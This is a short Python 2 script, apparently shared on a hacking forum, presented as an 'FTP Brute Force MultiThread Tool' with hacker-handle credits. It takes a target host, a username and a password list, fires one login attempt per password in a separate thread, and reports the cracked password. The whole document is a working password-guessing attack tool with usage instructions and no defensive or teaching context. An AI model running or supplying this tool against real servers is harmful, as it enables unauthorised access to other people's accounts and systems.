Code:
#!/usr/bin/env python
from ftplib import FTP
import sys
import os
import argparse
import threading
import time
#How To Use: python ftpBF.py --url localhost.com --user foo --list password.txt
if os.name == "nt":
os.system('cls')
else:
os.system('clear')
logo = '''
********************************
FTP Brute Force MultiThread Tool
********************************
Author = __ Ne0-h4ck3r __
Thanks To My Friend Ali
Love To : TiGER-M@TE, F0RTYS3V3N, B3mB4m
*************************************************************
'''
print logo
def bruter(pwd, passwd,args):
ftp = FTP(args.url)
try:
ftp.login(user=args.user, passwd=pwd)
print ""
print "[+] Domain Name: " + str(args.url)
print "[+] Password cracked: " + str(pwd)
print ""
os._exit(1)
except:
pass
threads = []
parser = argparse.ArgumentParser()
parser.add_argument("--url", help="Insert Domain Name ")
parser.add_argument("--user", help="Insert Username ")
parser.add_argument("--list", help="Insert Password List ")
args = parser.parse_args()
if not args.url and not args.user and not args.list:
print "How To Use: python ftpBF.py --url localhost.com --user foo --list password.txt"
sys.exit(1)
with open(args.list, 'r') as f:
passwd = f.read().splitlines()
print "[!] BruteForce Start "
print ""
for pwd in passwd:
print "[~] Trying ... %s" % pwd
t = threading.Thread(target=bruter, args=(pwd, passwd, args))
t.start()
threads.append(t)
time.sleep(1.8)
for j in threads:
j.join()
print ""
print "Coded By Ne0-h4ck3r"